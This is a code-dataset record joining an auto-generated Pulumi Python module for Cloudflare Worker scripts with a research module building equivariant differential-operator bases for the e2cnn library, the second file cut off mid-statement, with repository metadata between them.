2019-05-10T12:52:56.000Z

2020-03-24T15:02:14.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities from . import outputs from ._inputs import * __all__ = ['WorkerScriptArgs', 'WorkerScript'] @pulumi.input_type class WorkerScriptArgs: def __init__(__self__, *, content: pulumi.Input[str], name: pulumi.Input[str], kv_namespace_bindings: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptKvNamespaceBindingArgs']]]] = None, plain_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptPlainTextBindingArgs']]]] = None, secret_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptSecretTextBindingArgs']]]] = None, webassembly_bindings: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptWebassemblyBindingArgs']]]] = None): """ The set of arguments for constructing a WorkerScript resource. :param pulumi.Input[str] content: The script content. :param pulumi.Input[str] name: The global variable for the binding in your Worker code. """ pulumi.set(__self__, "content", content) pulumi.set(__self__, "name", name) if kv_namespace_bindings is not None: pulumi.set(__self__, "kv_namespace_bindings", kv_namespace_bindings) if plain_text_bindings is not None: pulumi.set(__self__, "plain_text_bindings", plain_text_bindings) if secret_text_bindings is not None: pulumi.set(__self__, "secret_text_bindings", secret_text_bindings) if webassembly_bindings is not None: pulumi.set(__self__, "webassembly_bindings", webassembly_bindings) @property @pulumi.getter def content(self) -> pulumi.Input[str]: """ The script content. """ return pulumi.get(self, "content") @content.setter def content(self, value: pulumi.Input[str]): pulumi.set(self, "content", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The global variable for the binding in your Worker code. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter(name="kvNamespaceBindings") def kv_namespace_bindings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptKvNamespaceBindingArgs']]]]: return pulumi.get(self, "kv_namespace_bindings") @kv_namespace_bindings.setter def kv_namespace_bindings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptKvNamespaceBindingArgs']]]]): pulumi.set(self, "kv_namespace_bindings", value) @property @pulumi.getter(name="plainTextBindings") def plain_text_bindings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptPlainTextBindingArgs']]]]: return pulumi.get(self, "plain_text_bindings") @plain_text_bindings.setter def plain_text_bindings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptPlainTextBindingArgs']]]]): pulumi.set(self, "plain_text_bindings", value) @property @pulumi.getter(name="secretTextBindings") def secret_text_bindings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptSecretTextBindingArgs']]]]: return pulumi.get(self, "secret_text_bindings") @secret_text_bindings.setter def secret_text_bindings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptSecretTextBindingArgs']]]]): pulumi.set(self, "secret_text_bindings", value) @property @pulumi.getter(name="webassemblyBindings") def webassembly_bindings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptWebassemblyBindingArgs']]]]: return pulumi.get(self, "webassembly_bindings") @webassembly_bindings.setter def webassembly_bindings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptWebassemblyBindingArgs']]]]): pulumi.set(self, "webassembly_bindings", value) @pulumi.input_type class _WorkerScriptState: def __init__(__self__, *, content: Optional[pulumi.Input[str]] = None, kv_namespace_bindings: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptKvNamespaceBindingArgs']]]] = None, name: Optional[pulumi.Input[str]] = None, plain_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptPlainTextBindingArgs']]]] = None, secret_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptSecretTextBindingArgs']]]] = None, webassembly_bindings: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptWebassemblyBindingArgs']]]] = None): """ Input properties used for looking up and filtering WorkerScript resources. :param pulumi.Input[str] content: The script content. :param pulumi.Input[str] name: The global variable for the binding in your Worker code. """ if content is not None: pulumi.set(__self__, "content", content) if kv_namespace_bindings is not None: pulumi.set(__self__, "kv_namespace_bindings", kv_namespace_bindings) if name is not None: pulumi.set(__self__, "name", name) if plain_text_bindings is not None: pulumi.set(__self__, "plain_text_bindings", plain_text_bindings) if secret_text_bindings is not None: pulumi.set(__self__, "secret_text_bindings", secret_text_bindings) if webassembly_bindings is not None: pulumi.set(__self__, "webassembly_bindings", webassembly_bindings) @property @pulumi.getter def content(self) -> Optional[pulumi.Input[str]]: """ The script content. """ return pulumi.get(self, "content") @content.setter def content(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "content", value) @property @pulumi.getter(name="kvNamespaceBindings") def kv_namespace_bindings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptKvNamespaceBindingArgs']]]]: return pulumi.get(self, "kv_namespace_bindings") @kv_namespace_bindings.setter def kv_namespace_bindings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptKvNamespaceBindingArgs']]]]): pulumi.set(self, "kv_namespace_bindings", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The global variable for the binding in your Worker code. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="plainTextBindings") def plain_text_bindings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptPlainTextBindingArgs']]]]: return pulumi.get(self, "plain_text_bindings") @plain_text_bindings.setter def plain_text_bindings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptPlainTextBindingArgs']]]]): pulumi.set(self, "plain_text_bindings", value) @property @pulumi.getter(name="secretTextBindings") def secret_text_bindings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptSecretTextBindingArgs']]]]: return pulumi.get(self, "secret_text_bindings") @secret_text_bindings.setter def secret_text_bindings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptSecretTextBindingArgs']]]]): pulumi.set(self, "secret_text_bindings", value) @property @pulumi.getter(name="webassemblyBindings") def webassembly_bindings(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptWebassemblyBindingArgs']]]]: return pulumi.get(self, "webassembly_bindings") @webassembly_bindings.setter def webassembly_bindings(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['WorkerScriptWebassemblyBindingArgs']]]]): pulumi.set(self, "webassembly_bindings", value) class WorkerScript(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, content: Optional[pulumi.Input[str]] = None, kv_namespace_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptKvNamespaceBindingArgs']]]]] = None, name: Optional[pulumi.Input[str]] = None, plain_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptPlainTextBindingArgs']]]]] = None, secret_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptSecretTextBindingArgs']]]]] = None, webassembly_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptWebassemblyBindingArgs']]]]] = None, __props__=None): """ Provides a Cloudflare worker script resource. In order for a script to be active, you'll also need to setup a `WorkerRoute`. *NOTE:* This resource uses the Cloudflare account APIs. This requires setting the `CLOUDFLARE_ACCOUNT_ID` environment variable or `account_id` provider argument. ## Import To import a script, use a script name, e.g. `script_name` ```sh $ pulumi import cloudflare:index/workerScript:WorkerScript default script_name ``` where* `script_name` - the script name :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] content: The script content. :param pulumi.Input[str] name: The global variable for the binding in your Worker code. """ ... @overload def __init__(__self__, resource_name: str, args: WorkerScriptArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a Cloudflare worker script resource. In order for a script to be active, you'll also need to setup a `WorkerRoute`. *NOTE:* This resource uses the Cloudflare account APIs. This requires setting the `CLOUDFLARE_ACCOUNT_ID` environment variable or `account_id` provider argument. ## Import To import a script, use a script name, e.g. `script_name` ```sh $ pulumi import cloudflare:index/workerScript:WorkerScript default script_name ``` where* `script_name` - the script name :param str resource_name: The name of the resource. :param WorkerScriptArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(WorkerScriptArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, content: Optional[pulumi.Input[str]] = None, kv_namespace_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptKvNamespaceBindingArgs']]]]] = None, name: Optional[pulumi.Input[str]] = None, plain_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptPlainTextBindingArgs']]]]] = None, secret_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptSecretTextBindingArgs']]]]] = None, webassembly_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptWebassemblyBindingArgs']]]]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = WorkerScriptArgs.__new__(WorkerScriptArgs) if content is None and not opts.urn: raise TypeError("Missing required property 'content'") __props__.__dict__["content"] = content __props__.__dict__["kv_namespace_bindings"] = kv_namespace_bindings if name is None and not opts.urn: raise TypeError("Missing required property 'name'") __props__.__dict__["name"] = name __props__.__dict__["plain_text_bindings"] = plain_text_bindings __props__.__dict__["secret_text_bindings"] = secret_text_bindings __props__.__dict__["webassembly_bindings"] = webassembly_bindings super(WorkerScript, __self__).__init__( 'cloudflare:index/workerScript:WorkerScript', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, content: Optional[pulumi.Input[str]] = None, kv_namespace_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptKvNamespaceBindingArgs']]]]] = None, name: Optional[pulumi.Input[str]] = None, plain_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptPlainTextBindingArgs']]]]] = None, secret_text_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptSecretTextBindingArgs']]]]] = None, webassembly_bindings: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['WorkerScriptWebassemblyBindingArgs']]]]] = None) -> 'WorkerScript': """ Get an existing WorkerScript resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] content: The script content. :param pulumi.Input[str] name: The global variable for the binding in your Worker code. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _WorkerScriptState.__new__(_WorkerScriptState) __props__.__dict__["content"] = content __props__.__dict__["kv_namespace_bindings"] = kv_namespace_bindings __props__.__dict__["name"] = name __props__.__dict__["plain_text_bindings"] = plain_text_bindings __props__.__dict__["secret_text_bindings"] = secret_text_bindings __props__.__dict__["webassembly_bindings"] = webassembly_bindings return WorkerScript(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def content(self) -> pulumi.Output[str]: """ The script content. """ return pulumi.get(self, "content") @property @pulumi.getter(name="kvNamespaceBindings") def kv_namespace_bindings(self) -> pulumi.Output[Optional[Sequence['outputs.WorkerScriptKvNamespaceBinding']]]: return pulumi.get(self, "kv_namespace_bindings") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The global variable for the binding in your Worker code. """ return pulumi.get(self, "name") @property @pulumi.getter(name="plainTextBindings") def plain_text_bindings(self) -> pulumi.Output[Optional[Sequence['outputs.WorkerScriptPlainTextBinding']]]: return pulumi.get(self, "plain_text_bindings") @property @pulumi.getter(name="secretTextBindings") def secret_text_bindings(self) -> pulumi.Output[Optional[Sequence['outputs.WorkerScriptSecretTextBinding']]]: return pulumi.get(self, "secret_text_bindings") @property @pulumi.getter(name="webassemblyBindings") def webassembly_bindings(self) -> pulumi.Output[Optional[Sequence['outputs.WorkerScriptWebassemblyBinding']]]: return pulumi.get(self, "webassembly_bindings")

48.729577

295

0.689115

1,836

17,299

6.22549

0.095861

0.098163

0.07979

0.085039

0.842257

0.825459

0.814523

0.783115

0.772528

0.760105

0

0.000073

0.20637

17,299

354

296

48.867232

0.832471

0.159316

0

0.72766

1

0

0.191405

0.11221

0

1

0.157447

false

0.004255

0.029787

0.051064

0.280851

0

null

0

1

0

1

0

null

0

8

d78450fe9859c56749913f334a0c20eac164b582

35,457

py

Python

e2cnn/diffops/irreps_basis.py

ejnnr/steerable_pdos

1486cfe58d9b4e8d4fcf0a6e842ca084ceef50e8

[ "BSD-3-Clause" ]

12

2021-07-01T13:42:59.000Z

2022-01-28T02:37:00.000Z

e2cnn/diffops/irreps_basis.py

ejnnr/steerable_pdos

1486cfe58d9b4e8d4fcf0a6e842ca084ceef50e8

[ "BSD-3-Clause" ]

null

e2cnn/diffops/irreps_basis.py

ejnnr/steerable_pdos

1486cfe58d9b4e8d4fcf0a6e842ca084ceef50e8

[ "BSD-3-Clause" ]

2

2021-07-30T10:37:48.000Z

2022-01-24T19:02:59.000Z

import numpy as np import math from e2cnn.kernels.basis import KernelBasis from e2cnn.kernels.utils import offset_iterator from e2cnn.group import Group, IrreducibleRepresentation from e2cnn.group import cyclic_group, dihedral_group, so2_group, o2_group from e2cnn.group import CyclicGroup, DihedralGroup, SO2, O2 from .utils import homogenized_cheby, transform_polynomial from .basis import DiffopBasis from typing import Union, Tuple, Optional class R2FlipsSolution(DiffopBasis): def __init__(self, group: Group, in_irrep: Union[str, IrreducibleRepresentation, int], out_irrep: Union[str, IrreducibleRepresentation, int], axis: float, max_frequency: int = None, max_offset: int = None, ): if isinstance(group, int): group = cyclic_group(2) assert isinstance(group, CyclicGroup) and group.order() == 2 assert (max_frequency is not None or max_offset is not None), \ 'Error! Either the maximum frequency or the maximum offset for the frequencies must be set' self.max_frequency = max_frequency self.max_offset = max_offset assert max_frequency is None or (isinstance(max_frequency, int) and max_frequency >= 0) assert max_offset is None or (isinstance(max_offset, int) and max_offset >= 0) assert isinstance(axis, float) self.axis = axis if isinstance(in_irrep, int): in_irrep = group.irrep(in_irrep) elif isinstance(in_irrep, str): in_irrep = group.irreps[in_irrep] elif not isinstance(in_irrep, IrreducibleRepresentation): raise ValueError(f"'in_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found") if isinstance(out_irrep, int): out_irrep = group.irrep(out_irrep) elif isinstance(out_irrep, str): out_irrep = group.irreps[out_irrep] elif not isinstance(out_irrep, IrreducibleRepresentation): raise ValueError(f"'out_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found") self.N = 1 self.fi = in_irrep.attributes['frequency'] self.fo = out_irrep.attributes['frequency'] self.ts = [] self.mu = [] self.invert = (self.fi + self.fo) % 2 # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(0, 1, self.max_offset, self.max_frequency, non_negative=True): # the current shifted frequency mu = t if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (t, mu, self.max_frequency) if mu > 0 or self.invert == 0.: # don't add sin(0*theta) as a basis since it is zero everywhere self.mu.append(mu) self.ts.append(t) self.dim = len(self.mu) self.group = group self.in_irrep = in_irrep self.out_irrep = out_irrep # would be set later anyway but we need it now self.shape = (out_irrep.size, in_irrep.size) coefficients = [] if self.shape[0] == 1 and self.shape[1] == 1: for i in range(self.dim): mu = self.mu[i] out = homogenized_cheby(mu, "u" if self.invert else "t").reshape(1, 1, -1) coefficients.append(out) else: raise ValueError(f"Shape {self.shape} not recognized!") if axis != 0: so2 = SO2(1) # rotation matrix by angle_offset matrix = so2.irrep(1)(axis) # we transform the polynomial with the matrix coefficients = [transform_polynomial(element, matrix) for element in coefficients] super().__init__(coefficients) def __getitem__(self, idx): assert idx < self.dim attr = {} attr["frequency"] = self.mu[idx] attr["order"] = abs(self.mu[idx]) attr["invert"] = self.invert attr["offset"] = self.ts[idx] attr["idx"] = idx return attr def __eq__(self, other): if not isinstance(other, R2FlipsSolution): return False elif self.in_irrep != other.in_irrep or self.out_irrep != other.out_irrep or self.axis != other.axis: return False else: return np.allclose(self.mu, other.mu) and self.invert == other.invert def __hash__(self): return (hash(self.in_irrep) + hash(self.out_irrep) + hash(str(self.mu)) + hash(self.invert)) class R2DiscreteRotationsSolution(DiffopBasis): def __init__(self, group: Union[Group, int], in_irrep: Union[str, IrreducibleRepresentation, int], out_irrep: Union[str, IrreducibleRepresentation, int], max_frequency: int = None, max_offset: int = None, ): if isinstance(group, int): group = cyclic_group(group) assert isinstance(group, CyclicGroup) assert (max_frequency is not None or max_offset is not None), \ 'Error! Either the maximum frequency or the maximum offset for the frequencies must be set' self.max_frequency = max_frequency self.max_offset = max_offset assert max_frequency is None or (isinstance(max_frequency, int) and max_frequency >= 0) assert max_offset is None or (isinstance(max_offset, int) and max_offset >= 0) if isinstance(in_irrep, int): in_irrep = group.irrep(in_irrep) elif isinstance(in_irrep, str): in_irrep = group.irreps[in_irrep] elif not isinstance(in_irrep, IrreducibleRepresentation): raise ValueError(f"'in_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found") self.n = in_irrep.attributes['frequency'] if isinstance(out_irrep, int): out_irrep = group.irrep(out_irrep) elif isinstance(out_irrep, str): out_irrep = group.irreps[out_irrep] elif not isinstance(out_irrep, IrreducibleRepresentation): raise ValueError(f"'out_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found") self.m = out_irrep.attributes['frequency'] self.N = group.order() self.ts = [] self.invert = [] self.mu = [] if in_irrep.size == 2 and out_irrep.size == 2: self.s = [] # m, n > 0 for invert in range(2): for s in [0, 1]: k = self.m - self.n * (-1) ** s # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(k, self.N, self.max_offset, self.max_frequency): # the current shifted frequency mu = k + t * self.N if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (k, t, mu, self.max_frequency) self.invert.append(invert) self.mu.append(mu) self.s.append(s) self.ts.append(t) elif in_irrep.size == 2 and out_irrep.size == 1: assert (self.m == 0 or (self.m == self.N//2 and self.N % 2 == 0)) # n > 0, m = 0 or N/2 for invert in range(2): k = self.n + self.m # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(k, self.N, self.max_offset, self.max_frequency): # the current shifted frequency mu = k + t * self.N if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (k, t, mu, self.max_frequency) self.invert.append(invert) self.mu.append(mu) self.ts.append(t) elif in_irrep.size == 1 and out_irrep.size == 2: assert (self.n == 0 or (self.n == self.N // 2 and self.N % 2 == 0)) # m > 0, n = 0 or N/2 for invert in range(2): k = self.n + self.m # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(k, self.N, self.max_offset, self.max_frequency): # the current shifted frequency mu = k + t * self.N if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (k, t, mu, self.max_frequency) self.invert.append(invert) self.mu.append(mu) self.ts.append(t) elif in_irrep.size == 1 and out_irrep.size == 1: assert (self.n == 0 or (self.n == self.N // 2 and self.N % 2 == 0)) assert (self.m == 0 or (self.m == self.N // 2 and self.N % 2 == 0)) for invert in range(2): k = self.m - self.n # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(k, self.N, self.max_offset, self.max_frequency, non_negative=True): # the current shifted frequency mu = k + t * self.N if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (k, t, mu, self.max_frequency) if mu > 0 or invert == 0.: # don't add sin(0*theta) as a basis since it is zero everywhere self.invert.append(invert) self.mu.append(mu) self.ts.append(t) self.dim = len(self.invert) self.group = group self.in_irrep = in_irrep self.out_irrep = out_irrep # would be set later anyway but we need it now self.shape = (out_irrep.size, in_irrep.size) coefficients = [] if self.shape[0] == 2 and self.shape[1] == 2: for i in range(self.dim): invert = self.invert[i] s = self.s[i] mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = cheby("t", mu, invert) out[0, 1, :] = -(-1)**s * cheby("u", mu, invert) out[1, 0, :] = cheby("u", mu, invert) out[1, 1, :] = (-1)**s * cheby("t", mu, invert) coefficients.append(out) elif self.shape[0] == 1 and self.shape[1] == 2: for i in range(self.dim): invert = self.invert[i] mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = (-1)**invert * homogenized_cheby(mu, "u" if invert else "t") out[0, 1, :] = homogenized_cheby(mu, "t" if invert else "u") coefficients.append(out) elif self.shape[0] == 2 and self.shape[1] == 1: for i in range(self.dim): invert = self.invert[i] mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = (-1)**invert * homogenized_cheby(mu, "u" if invert else "t") out[1, 0, :] = homogenized_cheby(mu, "t" if invert else "u") coefficients.append(out) elif self.shape[0] == 1 and self.shape[1] == 1: for i in range(self.dim): invert = self.invert[i] mu = self.mu[i] out = homogenized_cheby(mu, "u" if invert else "t").reshape(1, 1, -1) coefficients.append(out) else: raise ValueError(f"Shape {self.shape} not recognized!") super().__init__(coefficients) def __getitem__(self, idx): assert idx < self.dim attr = {} attr["frequency"] = self.mu[idx] attr["order"] = abs(self.mu[idx]) attr["invert"] = self.invert[idx] if hasattr(self, "s"): attr["s"] = self.s[idx] attr["offset"] = self.ts[idx] attr["idx"] = idx return attr def __eq__(self, other): if not isinstance(other, R2DiscreteRotationsSolution): return False elif self.in_irrep != other.in_irrep or self.out_irrep != other.out_irrep: return False elif hasattr(self, "s") and not np.allclose(self.s, other.s): return False else: return np.allclose(self.mu, other.mu) and self.invert == other.invert def __hash__(self): return (hash(self.in_irrep) + hash(self.out_irrep) + hash(str(self.mu)) + hash(str(self.invert))) class R2FlipsDiscreteRotationsSolution(DiffopBasis): def __init__(self, group: Union[Group, int], in_irrep: Union[str, IrreducibleRepresentation, Tuple[int]], out_irrep: Union[str, IrreducibleRepresentation, Tuple[int, int]], axis: float, max_frequency: int = None, max_offset: int = None, ): if isinstance(group, int): group = dihedral_group(group) assert isinstance(group, DihedralGroup) assert (max_frequency is not None or max_offset is not None), \ 'Error! Either the maximum frequency or the maximum offset for the frequencies must be set' self.max_frequency = max_frequency self.max_offset = max_offset assert isinstance(axis, float) self.axis = axis assert max_frequency is None or (isinstance(max_frequency, int) and max_frequency >= 0) assert max_offset is None or (isinstance(max_offset, int) and max_offset >= 0) if isinstance(in_irrep, tuple): in_irrep = group.irrep(in_irrep[0], in_irrep[1]) elif isinstance(in_irrep, str): in_irrep = group.irreps[in_irrep] elif not isinstance(in_irrep, IrreducibleRepresentation): raise ValueError(f"'in_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found") if isinstance(out_irrep, tuple): out_irrep = group.irrep(out_irrep[0], out_irrep[1]) elif isinstance(out_irrep, str): out_irrep = group.irreps[out_irrep] elif not isinstance(out_irrep, IrreducibleRepresentation): raise ValueError(f"'out_irrep' should be a non-negative integer, a string or an instance" f" of IrreducibleRepresentation but {in_irrep} found") self.N = group.rotation_order self.m = out_irrep.attributes['frequency'] self.n = in_irrep.attributes['frequency'] self.fi = in_irrep.attributes['flip_frequency'] self.fo = out_irrep.attributes['flip_frequency'] self.ts = [] self.mu = [] if in_irrep.size == 2 and out_irrep.size == 2: assert (self.m > 0 and self.n > 0 and self.fi == 1 and self.fo == 1) self.s = [] # m, n > 0 self.invert = 0 for s in [0, 1]: k = self.m - self.n * (-1) ** s # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(k, self.N, self.max_offset, self.max_frequency): # the current shifted frequency mu = k + t * self.N if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (k, t, mu, self.max_frequency) self.mu.append(mu) self.s.append(s) self.ts.append(t) elif in_irrep.size == 2 and out_irrep.size == 1: assert ((self.m == 0 or (self.m == self.N // 2 and self.N % 2 == 0)) and (self.fi == 1)) # n > 0, m = 0 or N/2 self.invert = self.fo k = self.n + self.m # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(k, self.N, self.max_offset, self.max_frequency): # the current shifted frequency mu = k + t * self.N if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (k, t, mu, self.max_frequency) self.mu.append(mu) self.ts.append(t) elif in_irrep.size == 1 and out_irrep.size == 2: assert ((self.n == 0 or (self.n == self.N// 2 and self.N % 2 == 0)) and self.fo == 1), (self.n, self.m, self.N, self.fi, self.fo) # m > 0, n = 0 or N/2 self.invert = self.fi k = self.n + self.m # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(k, self.N, self.max_offset, self.max_frequency): # the current shifted frequency mu = k + t * self.N if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (k, t, mu, self.max_frequency) self.mu.append(mu) self.ts.append(t) elif in_irrep.size == 1 and out_irrep.size == 1: assert (self.n == 0 or (self.n == self.N // 2 and self.N % 2 == 0)), (self.n, self.m, self.N, self.fi, self.fo) assert (self.m == 0 or (self.m == self.N // 2 and self.N % 2 == 0)), (self.n, self.m, self.N, self.fi, self.fo) self.invert = ((self.fi + self.fo) % 2) k = self.m - self.n # for each available frequency offset, build the corresponding basis vector for t in offset_iterator(k, self.N, self.max_offset, self.max_frequency, non_negative=True): # the current shifted frequency mu = k + t * self.N if self.max_offset is not None: assert (math.fabs(t) <= self.max_offset), (t, self.max_offset) if self.max_frequency is not None: assert (math.fabs(mu) <= self.max_frequency), (k, t, mu, self.max_frequency) if mu > 0 or self.invert == 0: # don't add sin(0*theta) as a basis since it is zero everywhere self.mu.append(mu) self.ts.append(t) self.dim = len(self.mu) self.group = group self.in_irrep = in_irrep self.out_irrep = out_irrep # would be set later anyway but we need it now self.shape = (out_irrep.size, in_irrep.size) coefficients = [] if self.shape[0] == 2 and self.shape[1] == 2: for i in range(self.dim): s = self.s[i] mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = cheby("t", mu, self.invert) out[0, 1, :] = -(-1)**s * cheby("u", mu, self.invert) out[1, 0, :] = cheby("u", mu, self.invert) out[1, 1, :] = (-1)**s * cheby("t", mu, self.invert) coefficients.append(out) elif self.shape[0] == 1 and self.shape[1] == 2: for i in range(self.dim): mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = (-1)**self.invert * homogenized_cheby(mu, "u" if self.invert else "t") out[0, 1, :] = homogenized_cheby(mu, "t" if self.invert else "u") coefficients.append(out) elif self.shape[0] == 2 and self.shape[1] == 1: for i in range(self.dim): mu = self.mu[i] out = np.empty((self.shape) + (abs(mu) + 1,)) out[0, 0, :] = (-1)**self.invert * homogenized_cheby(mu, "u" if self.invert else "t") out[1, 0, :] = homogenized_cheby(mu, "t" if self.invert else "u") coefficients.append(out) elif self.shape[0] == 1 and self.shape[1] == 1: for i in range(self.dim): mu = self.mu[i] out = homogenized_cheby(mu, "u" if self.invert else "t").reshape(1, 1, -1) coefficients.append(out) else: raise ValueError(f"Shape {self.shape} not recognized!") if axis != 0: so2 = SO2(1) # rotation matrix by angle_offset matrix = so2.irrep(1)(axis) # we transform the polynomial with the matrix coefficients = [transform_polynomial(element, matrix) for element in coefficients] super().__init__(coefficients) def __getitem__(self, idx): assert idx < self.dim attr = {} attr["frequency"] = self.mu[idx] attr["order"] = abs(self.mu[idx]) attr["invert"] = self.invert if hasattr(self, "s"): attr["s"] = self.s[idx] attr["offset"] = self.ts[idx] attr["idx"] = idx return attr def __eq__(self, other): if not isinstance(other, R2DiscreteRotationsSolution): return False elif self.in_irrep != other.in_irrep or self.out_irrep != other.out_irrep: return False elif hasattr(self, "s") and not np.allclose(self.s, other.s): return False else: return np.allclose(self.mu, other.mu) and self.invert == other.invert def __hash__(self): return (hash(self.in_irrep) + hash(self.out_irrep) + hash(str(self.mu)) + hash(self.invert)) class R2ContinuousRotationsSolution(DiffopBasis): def __init__( self, group: Group, in_irrep: Union[str, IrreducibleRepresentation, int], out_irrep: Union[str, IrreducibleRepresentation, int], ): assert isinstance(group, 